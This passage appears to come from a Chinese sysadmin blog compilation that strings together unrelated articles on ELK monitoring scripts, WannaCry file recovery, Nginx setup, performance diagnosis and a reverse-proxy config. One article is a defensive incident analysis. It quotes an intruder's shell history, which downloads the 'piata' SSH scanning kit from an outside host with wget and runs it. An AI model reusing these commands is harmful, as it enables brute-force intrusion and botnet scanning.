# Check filebeat program
num=`ps aux|grep -w $program_dir|grep -vw "grep\|vim\|vi\|mv\|cp\|scp\|cat\|dd\|tail\|head\|script\|ls\|echo\|sys_log\|logger\|tar\|rsync\|ssh"|wc -l`
if [ ${num} -eq 0 ];then
echo "[`date +'%F %T'`] [CRITICAL] Filebeat program dost not start!!!"|tee -a $logfile
# Send alarm information
/usr/bin/cagent_tools alarm "Filebeat program dost not start!!!"
echo "[`date +'%F %T'`] [  INFO  ] Begin start filebeat program..."|tee -a $logfile
nohup /usr/local/elk/filebeat/filebeat -e -c /usr/local/elk/filebeat/logs.yml -d "publish" &>> /data/elk/logs/filebeat.log &
if [ $? -eq 0 ];then
echo "[`date +'%F %T'`] [  INFO  ] Filebeat program start successful."|tee -a $logfile
/usr/bin/cagent_tools alarm "Filebeat program start successful"
exit 0
else
echo "[`date +'%F %T'`] [CRITICAL] Filebeat program start failed!!!"|tee -a $logfile
/usr/bin/cagent_tools alarm "Filebeat program start failed!!!Please handle it!!!"
exit 6
fi
else
echo "[`date +'%F %T'`] [  INFO  ] Filebeat program is running..."|tee -a $logfile
exit 0
fi
[root@test2 ~]#

3)添加crontab定时任务

0-59/5 * * * * /usr/local/scripts/monitor_filebeat.sh &> /dev/null

五、注意事项

1.数据流向

————————————————————————————————–

log_files  ->  filebeat ->  kafka->  logstash  ->  elasticsearch  ->  kibana

————————————————————————————————–

2.每天定时清理elasticsearch索引,只保留30天内的索引

1)编写脚本

[root@monitor-elk ~]# cat /usr/local/scripts/del_index.sh
#!/bin/bash
#
#############################################
# author:Ellen
# describes:Delete elasticsearch history index.
# version:v1.0
# updated:20170407
#############################################
#
# Configuration information
logfile=/usr/local/scripts/log/del_index.log
tmpfile=/tmp/index.txt
host=localhost
port=9200
deldate=`date -d '-30days' +'%Y.%m.%d'`
# Check executed user
if [ `whoami` != "root" ];then
echo "Please use root run script!!!"
exit 1
fi
# Delete elasticsearch index
curl -s "$host:$port/_cat/indices?v"|grep -v health|awk {'print $3'}|grep "$deldate" > $tmpfile
if [ ! -s $tmpfile ];then
echo "[`date +'%F %T'`] [WARNING] $tmpfile is a empty file."|tee -a $logfile
exit 1
fi
for i in `cat /tmp/index.txt`
do
curl -XDELETE http://$host:$port/$i
if [ $? -eq 0 ];then
echo "[`date +'%F %T'`] [  INFO  ] Elasticsearch index $i delete successful."|tee -a $logfile
else
echo "[`date +'%F %T'`] [CRITICAL] Elasticsearch index $i delete failed!!!"|tee -a $logfile
/usr/bin/cagent_tools alarm "Elasticsearch index $i delete failed!!!"
exit 6
fi
done
[root@monitor-elk ~]#

2)添加crontab定时任务

00 02 * * * /usr/local/scripts/del_index.sh &> /dev/null

3.按业务进行建立索引

如hongbao、pano等

4.nginx和tomcat等访问日志使用默认格式

六、相关命令参考

1.列出所有索引

curl -s 'http://localhost:9200/_cat/indices?v'

wKioL1kv6f_SE8i-AAAqLh-Xs_U979.png

2.列出节点列表

curl 'localhost:9200/_cat/nodes?v'

wKiom1kv6gqDQTFjAAARcQNO9fs617.png

3.查询集群健康信息

curl 'localhost:9200/_cat/health?v'

wKioL1kv6hKCsu0uAAAcSszqrhk668.png

4.查看指定的索引数据(默认返回十条结果)

curl -XGET 'http://localhost:9200/logstash-nginx-access-2017.05.20/_search?pretty'

wKiom1k0wCaQCydwAADD4CCE6Cc601.png

5.删除指定的索引

curl -XDELETE 
http://localhost:9200/logstash-nginx-access-2017.05.20

6.查询模板

curl -s 'http://localhost:9200/_template'

如何恢复部分WannaCry勒索软件加密文件

WannaCry勒索软件中毒后的计算机文件会被加密,但是通过测试发现,加密软件先加密文件然后再删除原文件。

所以我们可以尝试使用硬盘恢复工具,恢复部分文件,因为在电脑的安全模式下Wannacry并没有运行。中毒后如果想恢复部分文件,千万不要进行写入操作。

在一台Windows7 电脑的D盘,有几个重要的文件。txt,excel,docx。

p_w_picpath

病毒运行的几秒钟的时间内,加密文件和原文件是并存的。

p_w_picpath

等待Wannacry完全启动后,原文件会被删除。

p_w_picpath

电脑中毒。

p_w_picpath

重启电脑,按F8进入电脑的安全模式。

p_w_picpath

进入安全模式后,启动硬盘恢复工具进行文件恢复。(在安全模式下,发现Wannacry并没有启动)

clip_p_w_picpath001

选择文件类型

clip_p_w_picpath001[4]

因为恢复的是文件所以选择文档累恢复。

clip_p_w_picpath001[6]

等待扫描完成。

clip_p_w_picpath001[8]

发现被Wannacry加密的原文件。

clip_p_w_picpath001[10]

把文件恢复出来

clip_p_w_picpath001[12]

这里恢复到c盘(如果有移动硬盘,可以把文件复制到一个空的移动硬盘)

clip_p_w_picpath001[14]

文件还原完毕

clip_p_w_picpath001[16]

原文件被还原。

clip_p_w_picpath001[18]

这种恢复模式取决于电脑回收站的大小,如果大量文件被加密删除,那么该种办法只能恢复部分文件。

CentOS7下安装Nginx

第一步:下载文件:Nginx下载网址
第二步:上传到相关目录中,解压 tar -zxvf nginx.tar.gz (下载后修改名字是nginx.tar.gz,基本上会带有版本号)
第三步:./configure [–prefix]指定文件目录,不指定目录默认安装在系统目录下。

  1. 执行上面命令可能会出现的错误信息:
    checking for OS

    • Linux 2.6.32-431.el6.x86_64 x86_64
      checking for C compiler … not found
      则需要执行以下命令:

                      **yum -y install gcc gcc-c++ autoconf automake make**

当在执行./configure [–prefix]时,会出现2,

  1. 编译安装nginx需要pcre包,未安装会有如下提示:
    ./configure: error: the HTTP rewrite module requires the PCRE library.
    You can either disable the module by using –without-http_rewrite_module
    option, or install the PCRE library into the system, or build the PCRE library
    statically from the source with nginx by using –with-pcre=<path> option.
    需要安装pcre的devel包,pcre-devel。使用yum安装即可:(以下命令还带有ssl、zlib等依赖的安装)

                        **yum -y install zlib zlib-devel openssl openssl--devel pcre pcre-devel**

第四步:make && make install

执行命令启动和停止命令进行测试

  1. sbin/nginx
  2. ./nginx -s stop

采用分段排查法诊断服务器性能

在日常性能测试中,我们需要掌握一些常用的策略以及有必要了解和掌握查看服务器性能的命令,来排查诊断服务器性能。

今天,就和大家分享一下在压测过程中,采用分段排查法快速利用命令去诊断服务器的性能。

Linux服务器分段排查的方法,按照CPU、内存、磁盘IO、网络的先后顺序依次排除。参考流程图如下:

分析步骤:

Step1 用top查看系统大致情况:

  • 关注cpu(sys+us)使用率,若此值持续大于80%,可以观察进程视图,是否是非核心应用进程占用大量CPU资源,若能排除非核心应用进程的影响,则基本能确定该系统cpu资源面临短缺,此时结合vmstat监控观察到proc列r值应该较大;同理,当cpu利用率很低,但运行进程队列(r值)却很大时,表面cpu存在阻塞
  • 关注%idle(cpu 空闲时间的百分比),若此值较高但系统响应却很慢时,有可能是CPU在等待分配内存,此时应关注内存使用情况(见step3);如果空闲时间%idle持续为0并且系统时间(cpu sy)是用户时间(cpu us)的两倍 ,系统则面临着CPU资源的短缺.
  • 关注%wait(cpu等待 IO 的时间的百分比),在cpu资源尚未耗尽情况下,若此值持续很高表示系统存储IO可能存在瓶颈;问题原因可能是:(1)系统存在一个应用程序问题(应用本身有许多IO请求);(2)物理内存不足; (3)低效的 I/O 子系统配置; 此时应先排查是否是应用程序问题,然后检查系统内存使用情况,若是交换分页多,则确定是由物理内存不足引发的磁盘IO问题(见step3);若不是,则检查系统磁盘,结合iostat来验证此现象是由应用IO过多造成(见step4).

Step2 结合vmstat、sar监控cpu:

主要关注报告中的4个cpu列和2个procs(内核线程)列

  • r:等待在CPU资源的进程数。这个数据比平均负载更加能够体现CPU负载情况,数据中不包含等待IO的进程。如果这个数值大于系统中的逻辑CPU核数,表示系统现在运行比较慢,有多数的进程等待CPU,那么系统的CPU资源已经饱和。
  • us, sy, id, wa, st:这些都代表了CPU时间的消耗,它们分别表示用户时间(user)、系统(内核)时间(sys)、空闲时间(idle)、IO等待时间(wait)和被偷走的时间(stolen,一般被其他虚拟机消耗)。上述这些CPU时间,可以让我们很快了解CPU是否出于繁忙状态。一般情况下,如果用户时间和系统时间相加非常大,CPU出于忙于执行指令。如果IO等待时间很长,那么系统的瓶颈可能在磁盘IO。

sar –P ALL : 对cpu分开查询,统计每个cpu的使用情况,检查多个cpu的负载是否平衡

通过前两步,已能基本确定cpu是否存在瓶颈:

  • 若cpu资源不足,可以调整应用程序对CPU的占用情况,使得应用程序能够更有效的使用CPU,同时可以考虑增加更多的CPU;
  • 若cpu不是瓶颈,则着重查看系统内存。

Step3 用vmstat查看内存使用情况:

每行会输出一些系统核心指标,这些指标可以让我们更详细的了解系统状态。后面跟的参数1,表示每秒输出一次统计信息,参数2,表示一共输出2次统计信息。表头提示了每一列的含义,这只介绍一些和内存性能调优相关的列:

Memory区域

  • swpd:表示切换到内存交换区的内存大小,即虚拟内存已使用的大小(单位KB),如果大于0,表示你的机器物理内存不足了,如果不是程序内存泄露的原因,那么你该升级内存了或者把耗内存的任务迁移到其他机器。
  • free:表示当前空闲的物理内存(以千字节为单位), 如果剩余内存不足,也会导致系统性能问题。
  • buff:表示baffers cached内存大小,也就是缓冲大小,一般对块设备的读写才需要缓冲。
  • Cache:表示page cached的内存大小,也就是缓存大小,一般作为文件系统进行缓冲,频繁访问的文件都会被缓存,如果cache值非常大说明缓存文件比较多,如果此时io中的bi比较小,说明文件系统效率比较好。

Swap区域

  • si:表示有磁盘调入内存,也就是内存进入内存交换区的内存大小;通俗的讲就是 每秒从磁盘读入虚拟内存的大小,如果这个值大于0,表示物理内存不够用或者内存泄露了,要查找耗内存进程解决掉。
  • so:表示由内存进入磁盘,也就是由内存交换区进入内存的内存大小。

注意:一般情况下si、so的值都为0,如果si、so的值长期不为0,则说明系统内存不足,需要增加系统内存。

Step4 用iostat查看磁盘IO

  • tps:该设备每秒的传输次数(Indicate the number of transfers persecond that were issued to the device.)。”一次传输”意思是”一次I/O请求”。多个逻辑请求可能会被合并为”一次I/O请求”。”一次传输”请求的大小是未知的。
  • kB_read/s:每秒从设备(drive expressed)读取的数据量;
  • kB_wrtn/s:每秒向设备(drive expressed)写入的数据量;
  • kB_read:读取的总数据量;
  • kB_wrtn:写入的总数量数据量;这些单位都为Kilobytes
  • 关注%iowait,如果 CPU 和内存受限的情况不存在,并且%iowait 长时间大于25%,则认为IO存在瓶颈。
  • 收集磁盘IO数据吞吐量(iostat –d -k),大致估计系统数据吞吐量与应用负载是否相匹配,排查是否有与业务无关的大量IO操作。

Step5 使用sar –d 查看磁盘读写:

其中:

  • tps:每秒从物理磁盘I/O的次数.多个逻辑请求会被合并为一个I/O磁盘请求,一次传输的大小是不确定的。
  • rd_sec/s:每秒读扇区的次数。
  • wr_sec/s:每秒写扇区的次数。
  • avgrq-sz:平均每次设备I/O操作的数据大小(扇区)。
  • avgqu-sz:磁盘请求队列的平均长度。
  • await:从请求磁盘操作到系统完成处理,每次请求的平均消耗时间,包括请求队列等待时间,单位是毫秒(1秒=1000毫秒)。
  • svctm:系统处理每次请求的平均时间,不包括在请求队列中消耗的时间。
  • %util:I/O请求占CPU的百分比,比率越大,说明越饱和。

正常情况下avserv应该是小于avwait值的, 如果avserv的值与avwait很接近,表示几乎没有I/O等待,磁盘性能很好;如果avwait的值远高于avserv的值,则表示I/O队列等待太长,系统上运行的应用程序将变慢,磁盘IO为系统瓶颈。

Step6 使用netstat查看网络:

1、通过ping命令检测网络的连通性

2、通过netstat –nltp组合检测网络接口状况

-u (udp)仅显示udp相关选项

-l 仅列出有在 Listen (监听) 的服务状态

-n 拒绝显示别名,能显示数字的全部转化成数字。

-t (tcp)仅显示tcp相关选项

-p 显示建立相关链接的程序名,

3、通过netstat –r组合检测系统的路由表信息

总结:

cpu瓶颈常见征兆:

  • 很慢的响应时间
  • cpu空闲时间为零
  • 过高的用户占用cpu时间
  • 过高的系统占用cpu时间
  • 长时间的有很长的运行进程队列

cpu调优方法:

  • 平衡系统负载——在不同的期间运行进程,从而更有效地利用每天的24小时。
  • 使用 nice 或 renice 优化调度程序——可为运行进程分配不同的优先级,以避免占用大量cpu资源。
  • 增加资源——添加更多的cpu

内存瓶颈常见征兆:

  • 很高的换页率
  • 交换空间使用率很高
  • 进程进入不活动状态;
  • 交换区所有磁盘的活动次数很高;
  • 很高的全局系统CPU利用率;
  • 内存不够出错

内存调优方法:

  • 保证交换空间分配合理(分配足够多的交换空间、每个交换空间大小相同、每个交换空间分配在不同的硬盘上)
  • 参数调整,调整内存参数阀值
  • 增加内存资源

IO瓶颈常见征兆:

  • 过高的磁盘利用率
  • 太长的磁盘等待队列
  • 等待磁盘I/O的时间所占的百分率太高
  • 太高的物理I/O速率
  • 过低的缓存命中率
  • 太长的运行进程队列,但CPU却空闲

IO调优方法:

  • 一般来说,高的%iowait 表明系统至少存在一个应用程序问题、缺少内存问题或低效的 I/O 子系统配置;
  • 应检查应用程序产生大量IO请求是否正常;
  • 检查是否是由于内存交换空间频繁换页引起的IO问题;
  • 检查磁盘配置情况是否合理

针对磁盘IO本身的优化来说,尽管存在一些 I/O 优化参数的虚拟内存等价项,但是提高磁盘 I/O 性能的最佳方法仍然是正确地配置Linux系统,而不仅仅是优化相关的参数。

最后

排查Linux服务器性能问题还有很多工具,上面介绍的一些命令,可以帮助我们快速的定位问题。在以后,实践工作中,如果你掌握的shell命令多了之后,你就可以根据自己的工作需要,写一些脚本,去辅助自己的测试工作,例如数据监控、数据收集、数据处理等等,然后和其他工具结合,就可以形成一套解决方案了。

注意:本文旨在学习交流,涉及到部分参数指标可能与实际项目有出入,仅为以后的Linux服务器系统性能分析工作提供参考。

一次服务器沦陷为肉鸡后的实战排查过程!

1、从防火墙瘫痪说起

今天还没到公司就被电话告知办公室无法正常连接互联网了,网速非常慢,无法正常浏览网页。急急忙忙感到公司,开始查找问题。

首先排除了交换机故障,因为内部局域网正常。当ping防火墙设备时,丢包严重。很明显,防火墙出了问题,撑不住了,其Web管理界面根本无法正常登陆。立即联系其服务商远程查找问题,经过近3个小时的分析,得出结论是网内有两台服务器大量发送TCP数据包,瞬间就能在防火墙上造成40万链接数,大大超出了防火墙的处理能力,造成无法响应正常路由请求。我们暂且称这两台机器为A和B。把这两台机器断线之后,网路立刻正常了,防火墙上的链接数很快降低到正常水平。

主机A配置如下:

  1. OS – RedHat Enterprise Linux Server release 6.x
  2. 部署软件 – Tomcat,sshd, oracle
  3. RAM – 8GB
  4. CPU – Intel Core i3-2130
  5. IP地址 – 172.16.111.22

主机B为客户托管主机,具体配置不详。

本文只对主机A进行分析处理。

通过防火墙命令行界面,抓包发现A机器疯狂对一组IP地址进行22端口扫描。下面是抓包结果片段:

  1. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:39895=====>183.58.99.130:22, packet=3, bytes=208[REPLY] 183.58.99.130:22=====>59.46.161.39:39895, packet=0, bytes=0
  2. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33967=====>183.58.99.131:22, packet=3, bytes=208[REPLY] 183.58.99.131:22=====>59.46.161.39:33967, packet=0, bytes=0
  3. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34117=====>183.58.99.132:22, packet=3, bytes=208[REPLY] 183.58.99.132:22=====>59.46.161.39:34117, packet=0, bytes=0
  4. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54932=====>183.58.99.125:22, packet=3, bytes=208[REPLY] 183.58.99.125:22=====>59.46.161.39:54932, packet=0, bytes=0
  5. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:60333=====>183.58.99.135:22, packet=3, bytes=208[REPLY] 183.58.99.135:22=====>59.46.161.39:60333, packet=0, bytes=0
  6. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52737=====>183.58.99.136:22, packet=3, bytes=208[REPLY] 183.58.99.136:22=====>59.46.161.39:52737, packet=0, bytes=0
  7. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52291=====>183.58.99.137:22, packet=3, bytes=208[REPLY] 183.58.99.137:22=====>59.46.161.39:52291, packet=0, bytes=0
  8. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46183=====>183.58.99.138:22, packet=3, bytes=208[REPLY] 183.58.99.138:22=====>59.46.161.39:46183, packet=0, bytes=0
  9. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:36864=====>183.58.99.139:22, packet=3, bytes=208[REPLY] 183.58.99.139:22=====>59.46.161.39:36864, packet=0, bytes=0
  10. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34515=====>183.58.99.133:22, packet=3, bytes=208[REPLY] 183.58.99.133:22=====>59.46.161.39:34515, packet=0, bytes=0
  11. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:57121=====>183.58.99.134:22, packet=3, bytes=208[REPLY] 183.58.99.134:22=====>59.46.161.39:57121, packet=0, bytes=0
  12. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37830=====>183.58.99.140:22, packet=3, bytes=208[REPLY] 183.58.99.140:22=====>59.46.161.39:37830, packet=0, bytes=0
  13. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:42742=====>183.58.99.141:22, packet=3, bytes=208[REPLY] 183.58.99.141:22=====>59.46.161.39:42742, packet=0, bytes=0
  14. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:55018=====>183.58.99.142:22, packet=3, bytes=208[REPLY] 183.58.99.142:22=====>59.46.161.39:55018, packet=0, bytes=0
  15. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46447=====>183.58.99.143:22, packet=3, bytes=208[REPLY] 183.58.99.143:22=====>59.46.161.39:46447, packet=0, bytes=0
  16. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:51039=====>183.58.99.147:22, packet=3, bytes=208[REPLY] 183.58.99.147:22=====>59.46.161.39:51039, packet=0, bytes=0
  17. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33123=====>183.58.99.146:22, packet=3, bytes=208[REPLY] 183.58.99.146:22=====>59.46.161.39:33123, packet=0, bytes=0
  18. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35956=====>183.58.99.151:22, packet=3, bytes=208[REPLY] 183.58.99.151:22=====>59.46.161.39:35956, packet=0, bytes=0
  19. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:45002=====>183.58.99.145:22, packet=3, bytes=208[REPLY] 183.58.99.145:22=====>59.46.161.39:45002, packet=0, bytes=0
  20. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54711=====>183.58.99.150:22, packet=3, bytes=208[REPLY] 183.58.99.150:22=====>59.46.161.39:54711, packet=0, bytes=0
  21. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:58976=====>183.58.99.155:22, packet=3, bytes=208[REPLY] 183.58.99.155:22=====>59.46.161.39:58976, packet=0, bytes=0
  22. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37967=====>183.58.99.157:22, packet=3, bytes=208[REPLY] 183.58.99.157:22=====>59.46.161.39:37967, packet=0, bytes=0
  23. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:47125=====>183.58.99.158:22, packet=3, bytes=208[REPLY] 183.58.99.158:22=====>59.46.161.39:47125, packet=0, bytes=0
  24. proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35028=====>183.58.99.156:22, packet=3, bytes=208[REPLY] 183.58.99.156:22=====>59.46.161.39:35028, packet=0, bytes=0

可以清晰的看到,肉鸡扫描程序疯狂扫描一个网段内的22端口。

2、查找黑客行踪的方法

对于Linux主机,出现问题后分析和处理的依据主要是日志。/var/log/messages、/var/log/secure都是必不可少的分析目标,然后就是.bash_history命令记录。黑客登录主机必然会在日志中留下记录,高级黑客也许可以删除痕迹,但目前大部分黑客都是利用现成工具的黑心者,并无太多技术背景。该主机对外开放三个TCP侦听端口:

  1. 22 sshd
  2. 80 Tomcat
  3. 1521 Oracle

这三个服务都有可能存在漏洞而被攻击,最容易被扫描攻击的还是sshd用户名密码被破解。所以最先分析 /var/log/secure日志,看登录历史。

3、沦陷过程分析

3.1 oracle用户密码被破解

分析/var/log/secure日志。不看不知道一看吓一跳,该日志已经占用了四个文件,每个文件都记录了大量尝试登录的情况,执行命令:

  1. cat secure-20150317 | grep ‘Failed password’ | cut -d ” “ -f 9,10,11 | sort | uniq

结果如下:

  1. invalid user admin
  2. invalid user dacx
  3. invalid user details3
  4. invalid user drishti
  5. invalid user ferreluque
  6. invalid user git
  7. invalid user hall
  8. invalid user jparksu
  9. invalid user last
  10. invalid user patrol
  11. invalid user paul
  12. invalid user pgadmin
  13. invalid user postgres
  14. invalid user public
  15. invalid user sauser
  16. invalid user siginspect
  17. invalid user sql
  18. invalid user support
  19. invalid user sys
  20. invalid user sysadmin
  21. invalid user system
  22. invalid user taz
  23. invalid user test
  24. invalid user tiptop
  25. invalid user txl5460
  26. invalid user ubnt
  27. invalid user www
  28. mysql from 10.10.10.1
  29. oracle from 10.10.10.1
  30. root from 10.10.10.1

可以看出攻击程序不断采用不同的账户和密码进行尝试。然后在接近尾部的地方发现如下2行,说明被攻破了。

  1. Mar 9 20:35:30 localhost sshd[30379]: Accepted password for oracle from 10.10.10.1 port 56906 ssh2
  2. Mar 9 20:35:30 localhost sshd[30379]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

可见账户oracle的密码被猜中,并成功登入系统。

3.2 黑客动作推演

下面看看黑客用oracle账户都做了什么。首先复制一份oracle的命令历史,防止后续操作丢失该记录。

  1. cp /home/oracle/.bash_history hacker_history

然后查看分析这个文件。 我在后面备注了黑客的想法。

  1. vi .bash_profile
  2. vi .bash_profile (查看.bash_profile,看变量设置,把/home/oracle/bin增加到PATH)
  3. ll
  4. cd /
  5. vi .bash_profile
  6. vi .bash_profile (执行,设置环境变量)
  7. w
  8. ps x (查看系统运行进程)
  9. free -m (查看内存大小)
  10. uname -a (查看系统版本)
  11. cat /etc/issue (查看系统发行版)
  12. cat /etc/hosts (查看是否有网内机器)
  13. cat /proc/cpuinfo (查看CPU型号)
  14. cat .bash_history (查看oracle账户历史操作)
  15. w (查看系统负载)
  16. ls -a (查看/home/oracle/下的隐藏文件)
  17. passwd (修改掉oracle账户的密码)
  18. exit
  19. ls
  20. oracle
  21. sqlplus (运行sqlplus)
  22. su (试图切换到root账户)
  23. app1123456 (猜测root密码)
  24. ls
  25. su –
  26. w
  27. free -m
  28. php -v (查看php版本)
  29. exit
  30. w
  31. free -m
  32. php -v
  33. ps aux
  34. ls -a
  35. exit
  36. w
  37. free -m
  38. php -v
  39. cat bash_his (查看历史命令)
  40. cat bash_history
  41. cat .bash_history
  42. wget scriptcoders.ucoz.com/piata.tgz (下载肉鸡攻击软件包)
  43. tar zxvf piata.tgz (解压软件包)
  44. rm -rf piata.tgz (删除软件包)
  45. cd piata/ (切换到攻击软件目录)
  46. ls -a
  47. chmod +x *
  48. ./a 210.212 (运行攻击软件)
  49. screen (试图运行screen命令,发现没有后下载它)
  50. ls -a
  51. wget scriptcoders.ucoz.com/screen.tgz
  52. tar zxvf screen.tgz (解压)
  53. ./screen
  54. exit
  55. w
  56. ps x
  57. cd piata/ (切换到攻击软件目录)
  58. ls -a
  59. cat vuln.txt (查看攻击结果)
  60. ls -a
  61. mv vuln.txt 1.txt (保存攻击结果)
  62. ./screen -r
  63. nano 1.txt (查看结果文件)
  64. w
  65. ps x
  66. exit
  67. cd piata
  68. ps x
  69. ls -a
  70. nano 2.txt
  71. exit
  72. w
  73. ps x
  74. cd piata/
  75. ls -a
  76. cat
  77. mv vuln.txt 2.txt (保存结果)
  78. nano 2.txt
  79. w
  80. ps x
  81. cd piata/
  82. ls- a
  83. cat vuln.txt
  84. rm -rf vuln.txt
  85. ./screen -r
  86. exit
  87. w
  88. ps x
  89. cd piata/
  90. ls -a
  91. cat vuln.txt
  92. ls -a
  93. mv vuln.txt 3.txt (保存结果)
  94. nano 3.txt
  95. exit
  96. w
  97. ps x
  98. cd piata/
  99. ls -a
  100. cat vuln.txt
  101. rm -rf vuln.txt
  102. exit
  103. w
  104. ps x
  105. cd piata/
  106. ls -a
  107. cat vuln.txt
  108. rm -rf vuln.txt
  109. rm -rf 1.txt
  110. rm -rf 2.txt
  111. rm -rf 2.txt.save
  112. rm -rf 3.txt
  113. screen -r
  114. ./screen -r
  115. exit
  116. w
  117. ps x
  118. cd piata/
  119. ls -a
  120. cat vuln.txt
  121. ls -a
  122. nano vuln.txt
  123. rm -rf vuln.txt
  124. screen -r
  125. ./screen -r
  126. exit
  127. w
  128. ps x
  129. cd piata/
  130. ls -a
  131. cat vuln.txt
  132. nano vuln.txt
  133. w
  134. ls -a
  135. rm -rf vuln.txt
  136. screen -r
  137. ./screen -r
  138. exit
  139. w
  140. ps x
  141. cd piata/
  142. ls -a
  143. cat vuln.txt
  144. rm -rf vuln.txt
  145. ps x
  146. ls -a
  147. ./screen -r
  148. exit
  149. w
  150. ps x
  151. cd piata/
  152. ls -a
  153. cat vuln.txt
  154. nano vuln.txt
  155. w
  156. rm -rf vuln.txt
  157. ./screen -r
  158. exit

3.3 攻击工具一览

前面通过命令历史记录,可以看出攻击工具软件包为名为piata。下载来看看它的面目。

  1. [root@localhost piata]# ll
  2. total 1708
  3. -rw-r–r–. 1 oracle oinstall 0 Mar 10 13:01 183.63.pscan.22
  4. -rwxr-xr-x. 1 oracle oinstall 659 Feb 2 2008 a
  5. -rwxr-xr-x. 1 oracle oinstall 216 May 18 2005 auto
  6. -rwxr-xr-x. 1 oracle oinstall 283 Nov 25 2004 gen-pass.sh
  7. -rwxr-xr-x. 1 oracle oinstall 93 Apr 19 2005 go.sh
  8. -rwxr-xr-x. 1 oracle oinstall 3253 Mar 5 2007 mass
  9. -rwxr-xr-x. 1 oracle oinstall 12671 May 18 2008 pass_file
  10. -rwxr-xr-x. 1 oracle oinstall 21407 Jul 22 2004 pscan2
  11. -rwxr-xr-x. 1 oracle oinstall 249980 Feb 13 2001 screen
  12. -rw-r–r–. 1 oracle oinstall 130892 Feb 3 2010 screen.tgz
  13. -rwxr-xr-x. 1 oracle oinstall 453972 Jul 13 2004 ss
  14. -rwxr-xr-x. 1 oracle oinstall 842736 Nov 24 2004 ssh-scan
  15. -rw-r–r–. 1 oracle oinstall 2392 Mar 10 05:03 vuln.txt

其中 a, auto, go.sh gen-pass.sh, 都是bash脚本文件,用于配置扫描网段,调用扫描程序。pscan2和ssh-scan则为扫描程序。 vuln.txt记录获得的肉鸡列表。

目前尚未发现其他系统文件被黑客修改,也没有自动运行攻击软件的设置。

4 深刻教训

虽然这次被攻击的机器只是一个测试主机,其本身的重要性并不高,但却造成了防火墙的瘫痪,进而造成互联网不能正常访问。对此,必须引起足够重视,并从中汲取教训。

系统账户密码一定要有一定的复杂度。这次攻击就是由于oracle账户密码过于简单所致。

sshd采用密码方式登录风险很大,特别是密码简单的时候。可行的情况下,尽量关闭密码方式,改用公钥方式。

作为数据中心管理员,一定要监督监管系统管理员和软件开发商的服务安全,本次被攻击主机就是把所有权限都放给了网站开发公司,而开发公司对运营安全并不重视。

一段万能的Nginx接口实现反向代理配置值得收藏!

什么是代理服务器

代理服务器,客户机在发送请求时,不会直接发送给目的主机,而是先发送给代理服务器,代理服务接受客户机请求之后,再向主机发出,并接收目的主机返回的数据,存放在代理服务器的硬盘中,再发送给客户机。

为什么要使用代理服务器

1)提高访问速度

由于目标主机返回的数据会存放在代理服务器的硬盘中,因此下一次客户再访问相同的站点数据时,会直接从代理服务器的硬盘中读取,起到了缓存的作用,尤其对于热门站点能明显提高请求速度。

2)防火墙作用

由于所有的客户机请求都必须通过代理服务器访问远程站点,因此可在代理服务器上设限,过滤某些不安全信息。

3)通过代理服务器访问不能访问的目标站点

互联网上有许多开发的代理服务器,客户机在访问受限时,可通过不受限的代理服务器访问目标站点,通俗说,我们使用的翻墙浏览器就是利用了代理服务器,虽然不能出国,但也可直接访问外网。

反向代理 VS 正向代理

1、什么是正向代理?什么是反向代理?

正向代理,架设在客户机与目标主机之间,只用于代理内部网络对Internet的连接请求,客户机必须指定代理服务器,并将本来要直接发送到Web服务器上的http请求发送到代理服务器中。

反向代理服务器架设在服务器端,通过缓冲经常被请求的页面来缓解服务器的工作量,将客户机请求转发给内部网络上的目标服务器;并将从服务器上得到的结果返回给Internet上请求连接的客户端,此时代理服务器与目标主机一起对外表现为一个服务器。

2、反向代理有哪些主要应用?

现在许多大型web网站都用到反向代理。除了可以防止外网对内网服务器的恶性攻击、缓存以减少服务器的压力和访问安全控制之外,还可以进行负载均衡,将用户请求分配给多个服务器。

作为前端开发,每次调试接口,把代码发到测试服务器,是很费时费事的一件事情。

为了提高效率,想到了nginx反向代理来解决这一问题。

接口地址:

  1. test.com

访问地址:

  1. localhost

最核心的问题就是,登录时,无法写入cookie的问题,为了解决这个问题,走了不少弯路。

  1. worker_processes 1;
  2. events {
  3.  worker_connections 1024;
  4. }
  5. http {
  6.  include mime.types;
  7.  default_type application/octet-stream;
  8.  sendfile on;
  9.  keepalive_timeout 10;
  10.  server {
  11.  listen 80;
  12.  server_name localhost;
  13.  location =/ {
  14.  add_header X-Frame-Options SAMEORIGIN;
  15.  root D:/workspace/;
  16.  index index.html;
  17.  }
